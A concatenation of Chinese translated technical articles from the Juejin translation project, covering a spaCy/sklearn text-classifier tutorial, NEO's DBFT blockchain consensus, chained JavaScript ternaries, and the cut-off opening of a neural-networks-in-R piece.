对文本进行机器学习\n\n将 spaCy 集成进机器学习模型是非常简单、直接的。让我们使用 sklearn 做一个自定义的文本分类器。我们将使用 cleaner、tokenizer、vectorizer、classifier 组件来创建一个 sklearn 管道。其中的 tokenizer 和 vectorizer 会使用我们用 spaCy 自定义的模块构建。\n\n    from sklearn.feature_extraction.stop_words import ENGLISH_STOP_WORDS as stopwords\n    from sklearn.feature_extraction.text import CountVectorizer\n    from sklearn.metrics import accuracy_score\n    from sklearn.base import TransformerMixin\n    from sklearn.pipeline import Pipeline\n    from sklearn.svm import LinearSVC\n    \n    import string\n    punctuations = string.punctuation\n    \n    from spacy.en import English\n    parser = English()\n    \n    # 使用 spaCy 自定义 transformer\n    class predictors(TransformerMixin):\n        def transform(self, X, **transform_params):\n            return [clean_text(text) for text in X]\n        def fit(self, X, y=None, **fit_params):\n            return self\n        def get_params(self, deep=True):\n            return {}\n    \n    # 进行文本清洗的实用的基本函数\n    def clean_text(text):     \n        return text.strip().lower()\n\n现在让我们使用 spaCy 的解析器和一些基本的数据清洗函数来创建一个自定义的 tokenizer 函数。值得一提的是，你可以用词向量来代替文本特征（使用深度学习模型效果会有较大的提升）\n\n    #创建 spaCy tokenizer，解析句子并生成 token\n    #也可以用词向量函数来代替它\n    def spacy_tokenizer(sentence):\n        tokens = parser(sentence)\n        tokens = [tok.lemma_.lower().strip() if tok.lemma_ != \"-PRON-\" else tok.lower_ for tok in tokens]\n        tokens = [tok for tok in tokens if (tok not in stopwords and tok not in punctuations)]     return tokens\n    \n    #创建 vectorizer 对象，生成特征向量，以此可以自定义 spaCy 的 tokenizer\n    vectorizer = CountVectorizer(tokenizer = spacy_tokenizer, ngram_range=(1,1)) classifier = LinearSVC()\n\n现在可以创建管道，加载数据，然后运行分类模型了。\n\n    # 创建管道，进行文本清洗、tokenize、向量化、分类操作\n    pipe = Pipeline([(\"cleaner\", predictors()),\n                     ('vectorizer', vectorizer),\n                     ('classifier', classifier)])\n    \n    # Load sample data\n    train = [('I love this sandwich.', 'pos'),          \n             ('this is an amazing place!', 'pos'),\n             ('I feel very good about these beers.', 'pos'),\n             ('this is my best work.', 'pos'),\n             (\"what an awesome view\", 'pos'),\n             ('I do not like this restaurant', 'neg'),\n             ('I am tired of this stuff.', 'neg'),\n             (\"I can't deal with this\", 'neg'),\n             ('he is my sworn enemy!', 'neg'),          \n             ('my boss is horrible.', 'neg')]\n    test =   [('the beer was good.', 'pos'),     \n             ('I do not enjoy my job', 'neg'),\n             (\"I ain't feelin dandy today.\", 'neg'),\n             (\"I feel amazing!\", 'pos'),\n             ('Gary is a good friend of mine.', 'pos'),\n             (\"I can't believe I'm doing this.\", 'neg')]\n    \n    # 创建模型并计算准确率\n    pipe.fit([x[0] for x in train], [x[1] for x in train])\n    pred_data = pipe.predict([x[0] for x in test])\n    for (sample, pred) in zip(test, pred_data):\n        print sample, pred\n    print \"Accuracy:\", accuracy_score([x[1] for x in test], pred_data)\n    \n    >>    ('the beer was good.', 'pos') pos\n          ('I do not enjoy my job', 'neg') neg\n          (\"I ain't feelin dandy today.\", 'neg') neg\n          ('I feel amazing!', 'pos') pos\n          ('Gary is a good friend of mine.', 'pos') pos\n          (\"I can't believe I'm doing this.\", 'neg') neg\n          Accuracy: 1.0\n\n## 5. 和其它库的对比\n\nSpacy 是一个非常强大且具备工业级能力的 NLP 包，它能满足大多数 NLP 任务的需求。可能你会思考：为什么会这样呢？\n\n让我们把 Spacy 和另外两个 python 中有名的实现 NLP 的工具 —— CoreNLP 和 NLTK 进行对比吧！\n\n### 支持功能表\n\n| 功能         | Spacy | NLTK | Core NLP |\n| ---------- | ----- | ---- | -------- |\n| 简易的安装方式    | Y     | Y    | Y        |\n| Python API | Y     | Y    | N        |\n| 多语种支持      | N     | Y    | Y        |\n| 分词         | Y     | Y    | Y        |\n| 词性标注       | Y     | Y    | Y        |\n| 分句         | Y     | Y    | Y        |\n| 依存性分析      | Y     | N    | Y        |\n| 实体识别       | Y     | Y    | Y        |\n| 词向量计算集成    | Y     | N    | N        |\n| 情感分析       | Y     | Y    | Y        |\n| 共指消解       | N     | N    | Y        |\n\n### 速度：主要功能（Tokenizer、Tagging、Parsing）速度\n\n| **库**   | **Tokenizer** | **Tagging** | **Parsing** |\n| ------- | ------------- | ----------- | ----------- |\n| spaCy   | 0.2ms         | 1ms         | 19ms        |\n| CoreNLP | 2ms           | 10ms        | 49ms        |\n| NLTK    | 4ms           | 443ms       | –           |\n\n### 准确性：实体抽取结果\n\n| **库**   | **准确率** | **Recall** | **F-Score** |\n| ------- | ------- | ---------- | ----------- |\n| spaCy   | 0.72    | 0.65       | 0.69        |\n| CoreNLP | 0.79    | 0.73       | 0.76        |\n| NLTK    | 0.51    | 0.65       | 0.58        |\n\n## 结束语\n\n本文讨论了 spaCy —— 这个基于 python，完全用于实现 NLP 的库。我们通过许多用例展示了 spaCy 的可用性、速度及准确性。最后我们还将其余其它几个著名的 NLP 库 —— CoreNLP 与 NLTK 进行了对比。\n\n如果你能真正理解这篇文章要表达的内容，那你一定可以去实现各种有挑战的文本数据与 NLP 问题。\n\n希望你能喜欢这篇文章，如果你有疑问、问题或者别的想法，请在评论中留言。\n\n\n作者介绍：\n\n[Shivam Bansal](https://www.analyticsvidhya.com/blog/author/shivam5992/)\n\nShivam Bansal 是一位数据科学家，在 NLP 与机器学习领域有着丰富的经验。他乐于学习，希望能解决一些富有挑战性的分析类问题。\n\n- [https://twitter.com/shivamshaz](https://twitter.com/shivamshaz)\n- [https://www.linkedin.com/in/shivambansal1](https://www.linkedin.com/in/shivambansal1)\n- [https://github.com/shivam5992](https://github.com/shivam5992)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n\n\n"
  },
  {
    "path": "TODO/neo-project-docs-consensus.md",
    "content": "\n> * 原文地址：[Consensus](https://github.com/neo-project/docs/blob/master/en-us/node/consensus.md)\n> * 原文作者：[The Neo Project](https://github.com/neo-project)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/neo-project-docs-consensus.md](https://github.com/xitu/gold-miner/blob/master/TODO/neo-project-docs-consensus.md)\n> * 译者：[王子建](https://github.com/Romeo0906)\n> * 校对者：[faintz](https://github.com/faintz) [wild-flame](https://github.com/wild-flame)\n\n# 区块链共识机制\n\n## 1 - 术语\n\n* **权益证明机制** `PoS` - 一种使用网络共识来处理容错的算法\n\n* **工作量证明机制** `PoW` - 一种使用计算力来处理容错的算法\n\n* **拜占庭错误** `BF` - 节点可用，但由于其行为不可靠造成的失败\n\n* **改进的拜占庭容错机制** `DBFT` - 在 NEO 区块链内部实现的保证容错的共识算法\n\n* **视图** `v` - NEO `DBFT` 共识行为中使用的数据集\n\n## 2 - 角色\n\n**在 NEO 共识算法中，共识节点由 NEO 持有者选出并对交易合法性进行投票，同时它们也被称作“账本”。但在下文中，它们将被统称为共识节点。**\n\n- <img style=\"vertical-align: middle\" src=\"https://github.com/neo-project/docs/raw/master/assets/nNode.png\" width=\"25\"> **共识节点** - 参与共识行为的节点。在共识行为中，共识节点轮流扮演以下两个角色：\n- <img style=\"vertical-align: middle\" src=\"https://github.com/neo-project/docs/raw/master/assets/speakerNode.png\" width=\"25\"> **发言人**（一个）- **发言人**负责向系统发送区块提案。\n- <img style=\"vertical-align: middle\" src=\"https://github.com/neo-project/docs/raw/master/assets/cNode.png\" width=\"25\"> **议员**（多个） - **议员**负责达成交易共识。\n\n## 3 - 简介\n\n区块链之间的一个根本差异就是如何在有缺陷和不诚实行为的网络中保证容错。\n\n使用 PoW 这种传统的实现方法可以保证容错，只要网络中的大部分计算力都是诚实的。然而，因为这种方案对于计算的依赖，使得其效率非常低（计算力耗费能源并且对硬件有一定要求）。这使得 PoW 网络受到很多限制，最主要的就是扩展成本。\n\nDBFT 在 NEO 中的实现利用了一些类似 PoS 的特点（NEO 持有者投票产生**共识节点**），这能保护网络不受拜占庭错误干扰并将消耗的资源最小化，同时也能去其糟粕（指 PoS 实现中的问题，译者注）。这个方案在没有对容错机制造成显著影响的情况下，妥善处理了当下区块链实现中性能与扩展之间的问题。\n\n## 4 - 理论\n\n拜占庭将军问题是分布式计算中的一个经典问题。这个问题中定义多个议员必须在发言人的命令下达成共识，在整个系统中，**发言人**或某些**议员**可能会是叛徒，因此我们要小心行事。最糟糕的情况下，非诚实节点可能会向每个接收者发送不同的信息。该问题的解决办法要求**议员们**组团鉴定**发言人**是否诚实并且鉴别出真实的命令。\n\n为了说明 DBFT 的工作机制，我们将在本部分着重论述为何要在第五部分用 66.6% 的共识率。要记住，非诚实节点并不总是会做出恶意行为，它也可能只是简单地失效了而已。\n\n为了便于讨论，我们设想一些场景，在这些简单的例子中，我们假定每个节点都按照**发言人**的信息发送响应。这种机制也被用在 DBFT 中，并在系统中严格执行。我们只描述正常系统与失效系统之间的区别，若想获取更多内容，请查看参考文献。\n\n### **诚实的发言人**\n\n  <p align=\"center\"><img src=\"https://github.com/neo-project/docs/raw/master/assets/n3.png\" width=\"300\"><br> <b>图 1:</b> 一个 n = 3 的例子，其中包含一个不诚实的<b>议员</b>.</p>\n\n  在**图 1**中，我们只有一个诚实的**议员**（50%），每个**议员**都会从诚实的**发言人**那里获取到相同的信息。然而，因为其中一个**议员**是不诚实的，诚实的**议员**只能判断出存在一个不诚实的节点，但是并不能鉴别该不诚实节点是区块核心（即**发言人**）还是**议员**。因此，**议员**必须放弃投票，放弃改变视图。\n\n  <p align=\"center\"><img src=\"https://github.com/neo-project/docs/raw/master/assets/n4.png\" width=\"400\"><br> <b>图 2:</b> 一个 n = 4 的例子，其中包含一个不诚实的<b>议员</b>.</p>\n\n  在**图 2**中，我们有两个诚实的**议员**（66％），每个**议员**都会从诚实的**发言人**那里获取到相同的信息，并根据该信息向其它每个**议员**发送验证信息。基于两个诚实的**议员**达到的共识，我们能够判断出系统中的不诚实节点到底是**发言人**还是**议员**。\n\n### **不诚实的发言人**\n\n <p align=\"center\"><img src=\"https://github.com/neo-project/docs/raw/master/assets/g3.png\" width=\"300\"><br> <b>图 3:</b> 一个 n = 3 的例子，其中包含一个不诚实的<b>发言人</b>. </p>\n\n 在**图 3**的例子中，由于存在这个不诚实的**发言人**，我们会得到跟**图 1**相同的结论，所有的**议员**都无法判断哪个节点是不诚实的。\n\n <p align=\"center\"><img src=\"https://github.com/neo-project/docs/raw/master/assets/g4.png\" width=\"400\"><br> <b>图 4:</b> 一个 n = 4 的例子，其中包含一个不诚实的<b>发言人</b>. </p>\n\n 在**图 4**的例子中，区块从中间节点和右节点接收到了该验证不合法的结果，这将会使得它们首先创建一个新的视图来选择一个新的**发言人**，因为它们占 66% 的比例，属于多数。这个例子中，如果不诚实的**发言人**向其中两个**议员**发送了诚实的数据，区块将通过验证而不需更改视图。\n\n## 5 - 具体实现\n\nNEO 中 DBFT 的具体实现用使用了一种迭代共识的方法来保证达到共识，这个算法的性能取决于诚实节点在系统中的比例。**图 5**中将预期迭代描述为不诚实节点所占比例的一个函数。\n\n需要注意的是，**图 5**中**共识节点**的诚实度并没有低于 66.66%。当**共识节点**诚实度在 66% 和 33% 之间时，这种情况被称为无法达到共识的“无主之地”（No-Man's Land）。如果**共识节点**的诚实度低于 33.33%，不诚实节点（假设它们能够取得共识）就能够达到共识并成为系统中新的事实。\n\n<img src=\"https://github.com/neo-project/docs/raw/master/assets/consensus.iterations.png\" width=\"800\">\n\n**图 5：** DBFT 算法的 Monto-Carlo 模拟图，描绘了达到共识所需的迭代次数，其中有 100 个节点，100,000 个模拟区块和随机选择的诚实节点。\n\n### 5.1 - 定义\n\n**在本算法中，我们有如下定义：**\n\n  - `t` : 区块生成的时间，以秒计。\n    - 当前： `t ＝ 15 秒`\n  - 这个值可大致近似于单个视图迭代的时间，因为共识行为和通信事件对于该时间常量是非常迅速的。\n\n  - `n` : 活跃的**共识节点**数目。\n\n  - `f` : 系统中错误**共识节点**的最小阈值。\n    - `f = (n-1) / 3`\n\n  - `h` : 共识行为中当前区块的高度\n\n  - `i` : **共识节点**索引。\n\n  - `v` : **共识节点**视图。视图包含了在一次共识回合中节点接受到的所有信息，包括所有议员发起的投票（`prepareResponse` 或者 `ChangeView`）。\n\n  - `k` : 视图 `v` 的索引。一次共识行为可能会需要多个共识回合，共识失败时，`k` 会递增并开始一个新的共识回合。\n\n  - `p` : 被选为**发言人**的**共识节点**的索引。该索引的计算机制在**共识节点**中轮流执行，以防止某个节点在系统中产生独裁行为。\n    - `p = (h - k) mod (n)`\n\n  - `s` : 安全共识阈值。低于这个阈值，网络将会出现错误。\n\n### 5.2 - 要求\n\n**在 NEO 内部，有三个主要的共识容错要求：**\n\n1. `s` 个**议员**必须在区块被提交之前对某个交易达成共识。\n\n2. 不诚实的**共识节点**必须不能说服诚实的**共识节点**接受一个错误的交易。\n\n3. 至少有 `s` 个具有相同（`h`, `k`）状态的**议员**才能开始一个共识行为\n\n### 5.3 - 算法\n\n**算法流程如下：**\n\n1. 一个**共识节点**在全网范围内广播一个被发送方签名过的交易。\n\n   <p align=\"center\"><img src=\"https://github.com/neo-project/docs/raw/master/assets/consensus1.png\" width=\"450\"><br> <b>图 6:</b> 一个<b>共识节点</b>接收到了一个交易并向全网进行广播</p>\n\n2. 其它**共识节点**在内存中记录交易信息。\n\n3. 共识行为的第一个视图 `v` 被初始化。\n\n4. 确定**发言人**。\n\n   <p align=\"center\"><img src=\"https://github.com/neo-project/docs/raw/master/assets/consensus2.png\" width=\"450\"><br> <b>图 7:</b>确定<b>发言人</b>并设置视图</p>\n  \n  **等待** `t` 秒\n\n5. **发言人**广播提案：\n    <!-- -->\n    <prepareRequest, h, k, p, bloc, [block]sigp>\n\n    <p align=\"center\"><img src=\"https://github.com/neo-project/docs/raw/master/assets/consensus3.png\" width=\"450\"><br> <b>图 8:</b><b>发言人</b>建立一个区块提案并由<b>议员</b>审查</p>\n\n6. **议员**收到提案并进行验证：\n\n    - 时间格式是否与系统规则保持一致？\n    - 区块链中是否已存在该交易？\n    - 合同脚本是否被正确执行？\n    - 该交易是否只包单次支付？（也就是说，该交易是否能避免重复支付？）\n\n    - **如果提案通过验证则广播:**\n      <!-- -->\n        <prepareResponse, h, k, i, [block]sigi>\n    \n    - **如果提案未通过验证则广播：**\n      <!-- -->\n        <ChangeView, h,k,i,k+1>\n\n   <p align=\"center\"><img src=\"https://github.com/neo-project/docs/raw/master/assets/consensus4.png\" width=\"500\"><br> <b>图 9:</b><b>议员</b>审查区块链提案并响应</p>\n\n7. 在收到 `s` 个 'prepareResponse' 广播后，该**议员**就达成共识并发布一个区块。\n\n8. 该**议员**对区块进行签名。\n\n   <p align=\"center\"><img src=\"https://github.com/neo-project/docs/raw/master/assets/consensus5.png\" width=\"500\"><br> <b>图 10:</b>达成共识，批准该交易的<b>议员</b>对区块签名，并将其绑定到区块链上</p>\n\n9. 当一个**共识节点**接收到整个区块的时候，当前视图的数据将被清除并开始新一轮的共识。\n  - `k = 0`\n\n--- \n  \n**注意：**\n\n如果在 (![timeout](https://github.com/neo-project/docs/raw/master/assets/consensus.timeout.png) ) 秒之后，没有就该视图达成共识：\n  - **共识节点**会广播：\n\n  <!-- -->\n      <ChangeView, h,k,i,k+1>\n\n  - 一旦某个**共识节点**收到了至少 `s` 个广播内容表示要改变该视图，它将会递增视图 `v` 并发起新一轮共识。\n\n## 6 - 参考文献\n1. [A Byzantine Fault Tolerance Algorithm for Blockchain](https://www.neo.org/Files/A8A0E2.pdf)\n2. [Practical Byzantine Fault Tolerance](http://pmg.csail.mit.edu/papers/osdi99.pdf)\n3. [The Byzantine Generals Problem](https://www.microsoft.com/en-us/research/wp-content/uploads/2016/12/The-Byzantine-Generals-Problem.pdf)\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/nested-ternaries-are-great.md",
    "content": "> * 原文地址：[Nested Ternaries are Great](https://medium.com/javascript-scene/nested-ternaries-are-great-361bddd0f340)\n> * 原文作者：[Eric Elliott](https://medium.com/@_ericelliott?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/nested-ternaries-are-great.md](https://github.com/xitu/gold-miner/blob/master/TODO/nested-ternaries-are-great.md)\n> * 译者：[yoyoyohamapi](https://github.com/yoyoyohamapi)\n> * 校对者：[StarrieC](https://github.com/StarrierC) [goldEli](https://github.com/goldEli)\n\n# 优秀的嵌套三元表达式（软件编写）（第十四部分）\n\n![](https://cdn-images-1.medium.com/max/800/1*uVpU7iruzXafhU2VLeH4lw.jpeg)\n\n（译注：该图是用 PS 将烟雾处理成方块状后得到的效果，参见 [flickr](https://www.flickr.com/photos/68397968@N07/11432696204)。）\n\n> 这是 “软件编写” 系列文章的第十四部分，该系列主要阐述如何在 JavaScript ES6+ 中从零开始学习函数式编程和组合化软件（compositional software）技术（译注：关于软件可组合性的概念，参见维基百科\n>\n> [< 上一篇](https://juejin.im/post/5a648ed0518825733201b818) | [<< 返回第一篇](https://medium.com/javascript-scene/composing-software-an-introduction-27b72500d6ea)\n\n过去的经验会让你相信，嵌套三元表达式是不可读的，应当尽量避免。\n\n> 经验有时候是愚蠢的。\n\n真相其实是，**三元表达式通常比 if 语句更加简单**。人们不相信的原因有两个：\n\n1. 他们更熟悉 if 语句。熟悉带来的偏见可能会让我们相信一些并不正确的事物，即便我们为真相提供了佐证。\n2. 人们尝试像使用 if 语句那样去使用三元表达式。这样的代码是不能工作的，因为三元表达式是**表达式（expression）**，而非**语句（statement）**。\n\n在我们深入细节之前，先为三元表达式做一个定义：\n\n一个三元表达式是一个进行求值的条件表达式。它由一个条件判断，一个真值子句（truthy value，当条件为真时返回的值）和一个假值子句（falsy clause，当条件为假时返回的值）构成。\n\n它们就像下面这样：\n\n```js\n(conditional)\n  ? truthyClause\n  : falsyClause\n```\n\n### 表达式 vs 语句\n\n一些编程语言（包括 Smalltalk、Haskell 以及大多数函数式编程语言）都没有 if 语句。取而代之的是，`if` 表达式。\n\n一个 if 表达式就是进行求值的条件表达式。它由一个条件判断，一个真值子句（truthy value，当条件为真时返回的值）和一个假值子句（falsy clause，当条件为假时返回的值）构成。\n\n这个定义看起来是不是很熟悉？大多数函数式编程语言都使用**三元表达式**来表示 `if` 关键字。这是为什么呢？\n\n一个表达式是一个求取单值的代码块。\n\n一条语句则是一个不一定进行求值的代码段。在 JavaScript 中，一个 if 语句不会进行 **求值**。为了让 JavaScript 中的 if 语句有用，就**必须引起一个副作用（side-effect）或者是在 if 语句包裹的代码块中返回一个值**。\n\n在函数式编程中，我们试图避免可变性以及其他的副作用。由于 JavaScript 中的 `if` 先天会带来可变性和副作用，所以包括我在内的一些函数式编程的拥趸会使用三元表达式来替换它。\n\n三元表达式的思维模式与 if 语句有所不同，但如果你尝试实践几周，你也会自然而然的转到三元表达式。这可不只是因为它缩小了代码量，另一些优势你也将在后文中看到。\n\n### 熟悉带来的偏见\n\n我最常听到的关于三元表达式的抱怨就是 “难于阅读”。让我们通过一些代码范例来粉碎谣言：\n\n```js\nconst withIf = ({\n  conditionA, conditionB\n}) => {\n  if (conditionA) {\n    if (conditionB) {\n      return valueA;\n    }\n    return valueB;\n  }\n  return valueC;\n};\n```\n\n注意到，这个版本中，通过嵌套的条件和可见的括号来分离真值和假值，这让真假值看起来失去了联系。这只是一个很简单的逻辑，但却需要花力气理解。\n\n让我们再看看同样的逻辑，用三元表达式是怎么完成的：\n\n```js\nconst withTernary = ({\n  conditionA, conditionB\n}) => (\n  (!conditionA)\n    ? valueC\n    : (conditionB)\n    ? valueA\n    : valueB\n);\n```\n\n这儿一些值得分享和讨论的点：\n\n### 菊链法 vs 嵌套\n\n>  译注：[菊链法（Daisy Chaining）](https://www.wikiwand.com/en/Daisy_chain_(electrical_engineering))，原意指多个设备按序或者围城一环进行连接。\n\n首先，我们已经将嵌套铺平了。“嵌套的” 三元表达式有点用词不当，因为三元表达式很容易通过一条直线进行撰写，你完全不需要使用不同的缩进来嵌套它们。它们容易按照直线的顺序，自顶向下地进行阅读，一旦满足了某个真值或者假值就会立即返回。\n\n如果你正确的书写了三元表达式，也就不需要解析任何的嵌套。沿着一条直线走，很难迷路。\n\n我们应该称其为 “链式三元表达式” 而不是 “嵌套三元表达式”。\n\n还有一点我想指出的就是，为了简化直线链接，我对顺序稍作了更改：如果你到达了三元表达式末尾，并且发现你需要写两条冒号子句（`:`）：\n\n```js\n// 译者补充这种情况\nconst withTernary = ({\n  conditionA, conditionB\n}) => (\n  conditionA\n    ? conditionB\n    ? valueA\n    : valueB\n    : valueC\n)\n```\n\n将最后一条子句提到链头，并且反转第一个条件判断逻辑来简化三元表达式的解析。现在，不再有任何困惑了！\n\n值得注意的是，我们可以使用同样的手段来简化 if 语句：\n\n```js\nconst withIf = ({\n  conditionA, conditionB\n}) => {\n  if (!conditionA) return valueC;\n  if (conditionB) {\n    return valueA;\n  }\n  return valueB;\n};\n```\n\n这好很多了，但是 `conditionB` 的关联子句被打破仍然是可见的，这还是会造成困惑。在维护代码期间，我已经看到过类似问题引起了逻辑上的 bug。即便逻辑被打平，这个版本的代码相较于三元表达式版本，还是稍显混乱。\n\n### 语法混乱\n\n`if` 版本的代码含有许多噪声：`if` 关键字 vs `?`，使用 `return` 来强制语句返回一个值、额外的分号、额外的括号等等。 不同于本文的例子，大多数 if 语句也改变了外部状态，这不仅增多了代码，还提高了代码复杂度。\n\n这些额外代码带来的负面影响是我不喜欢用 if 的重要原因之一。在此之前，我已经讨论过，但在每个开发者都了然于胸前，我还是愿意不厌其烦地再唠叨一下：\n\n#### 工作记忆\n\n平均下来，人类大脑只有一小部分共享资源提供给对于离散的[存储在工作记忆中的量子](https://www.nature.com/articles/nn.3655)，并且每一个变量潜移默化地消费这些量子。当你添加更多的变量，你就会丧失对这些变量的含义的精确记忆能力。典型的，工作记忆模型涉及 4-7 个离散两字。超过这个数，错误率就会陡增。\n\n与三元表达式相反，我们不得不将可变性和副作用融入 if 语句中，这通常会造成添加一些本不需要的变量进去。\n\n#### 信噪比\n\n简练的代码也会提高你代码的信噪比。这就像在听收音机 —— 如果收音机没有正确的调到某个频道，你就会听到许多干扰噪声，因此很难听到音乐。当你正确的调到某个频道，噪声就会远离，你听到的将是强烈的音乐信号。\n\n代码也类似。表达式越精简，则越容易理解。一些代码给了我们有用的信息，一些则让我们云里雾里。如果你可以在不丢失所要传达的信息的前提下，缩减了代码量，你将会让代码更易于解析，也让其他的开发者更容易理解当中的意思。\n\n#### 藏匿 Bug 的表面积\n\n看一眼函数的前前后后。这就好像函数进行了节食，减去了成吨的体重。这是非常重要的，因为额外的代码就意味着更大的藏匿 Bug 的表面积，也就意味着更多的 bug。\n\n> 更少的代码 = 更小的藏匿 bug 的表面积 = 更少的 bug。\n\n#### 副作用与共享的可变状态\n\n许多 if 语句不只进行了求值。它们也造成了副作用，或是改变了状态，倘若你想要知道 if 语句的完整影响，就需要知道 if 语句中的副作用的影响，对共享状态所有的变更历史等等。 \n\n将你自己限制到返回一个值，能强制你遵循这个原则：切断依赖将以让你的程序更易于理解、调试、重构以及维护。\n\n这确实就是三元表达式中我最喜欢的益处：\n\n> 使用三元表达式将让你成为更好的开发者。\n\n### 结论\n\n由于所有的三元表达式都易于使用一个直线来自顶向下地分配，因此，称其为 “嵌套的三元表达式” 有点用词不当。取而代之的是，我们称其为 “链式三元表达式”。\n\n相较于 if 语句，链式三元表达式有若干的优势：\n\n* 它总是易于通过一条直线进行自顶向下的阅读和书写。只要你能沿着直线走，就能读懂链式三元表达式。\n* 三元表达式减少了语法混乱。更少的代码 = 更小的藏匿 bug 的表面积 = 更少的 bug。\n* 三元表达式不需要临时变量，这减少了工作记忆的负荷。\n* 三元表达式有更好的信噪比。\n* if 语句鼓励副作用和可变性。三元表达式则鼓励纯代码。\n* 纯代码将我们的表达式和函数解耦，因此也将我们训练为更好的开发者。\n\n### 在 EricElliottJS.com 上可以了解到更多\n\n视频课程和函数式编程已经为  EricElliottJS.com 的网站成员准备好了。如果你还不是当中的一员，[现在就注册吧](https://ericelliottjs.com/)。\n\n[![](https://cdn-images-1.medium.com/max/800/1*3njisYUeHOdyLCGZ8czt_w.jpeg)](https://ericelliottjs.com/product/lifetime-access-pass/)\n\n* * *\n\n**Eric Elliott** 是  [**“编写 JavaScript 应用”**](http://pjabook.com) （O’Reilly） 以及 [**“跟着 Eric Elliott 学 Javascript”**](http://ericelliottjs.com/product/lifetime-access-pass/) 两书的作者。他为许多公司和组织作过贡献，例如 **Adobe Systems**、**Zumba Fitness**、**The Wall Street Journal**、**ESPN** 和 **BBC** 等 , 也是很多机构的顶级艺术家，包括但不限于 **Usher**、**Frank Ocean** 以及 **Metallica**。\n\n大多数时间，他都在 San Francisco Bay Area，同这世上最美丽的女子在一起\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/neural-networks-from-scratch-in-r.md",
    "content": "> * 原文地址：[Neural Networks from Scratch (in R)](https://medium.com/@iliakarmanov/neural-networks-from-scratch-in-r-dcf97867c238)\n> * 原文作者：[Ilia Karmanov](https://medium.com/@iliakarmanov)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/neural-networks-from-scratch-in-r.md](https://github.com/xitu/gold-miner/blob/master/TODO/neural-networks-from-scratch-in-r.md)\n> * 译者：[CACppuccino](https://github.com/CACppuccino)\n> * 校对者：[Isvih](https://github.com/lsvih)\n\n# Scratch 平台的神经网络实现（R 语言）\n\n这篇文章是针对那些有统计或者经济学背景的人们，帮助他们通过 R 语言上的 Scratch 平台更好地学习和理解机器学习知识。\n\nAndrej Karpathy 在 CS231n 课程中[这样说道](https://medium.com/@karpathy/yes-you-should-understand-backprop-e2f06eab496b) ：\n\n>“我们有意识地在设计课程的时候，于反向传播算法的编程作业中包含了对最底层的数据的计算要求。学生们需要在原始的 numpy 库中使数据在各层中正向、反向传播。一些学生因而难免在课程的留言板上抱怨（这些复杂的计算）”\n\n如果框架已经为你完成了反向传播算法（BP 算法）的计算，你又何苦折磨自己而不去探寻更多有趣的深度学习问题呢？\n\n\n    import keras\n    model = Sequential()\n    model.add(Dense(512, activation=’relu’, input_shape=(784,)))\n    model.add(Dense(10, activation=’softmax’))\n    model.compile(loss=’categorical_crossentropy’, optimizer=RMSprop())\n    model.fit()\n\nKarpathy教授,将“智力上的好奇”或者“你可能想要晚些提升核心算法”的论点抽象出来，认为计算实际上是一种[泄漏抽象](https://en.wikipedia.org/wiki/Leaky_abstraction)（译者注：“抽象泄漏”是软件开发时，本应隐藏实现细节的抽象化不可避免地暴露出底层细节与局限性。抽象泄露是棘手的问题，因为抽象化本来目的就是向用户隐藏不必要公开的细节--维基百科）：\n\n>“人们很容易陷入这样的误区中-认为你可以简单地将任意的神经层组合在一起然后反向传播算法会‘令它们自己在你的数据上工作起来’。”\n\n因此，我写这篇文章的目的有两层：\n\n1. 理解神经网络背后的抽象泄漏（通过在 Scratch 平台上操作），而这些东西的重要性恰恰是我开始所忽略的。这样如果我的模型没有达到预期的学习效果，我可以更好地解决问题，而不是盲目地改变优化方案（甚至更换学习框架）。\n\n2. 一个深度神经网络（DNN），一旦被拆分成块，对于 AI 领域之外的人们也再也不是一个黑箱了。相反，对于大多数有基本的统计背景的人来说，是一个个非常熟悉的话题的组合。我相信他们只需要学习很少的一些（只是那些如何将这一块块知识组合一起）知识就可以在一个全新的领域获得不错的洞察力。\n\n从线性回归开始，借着 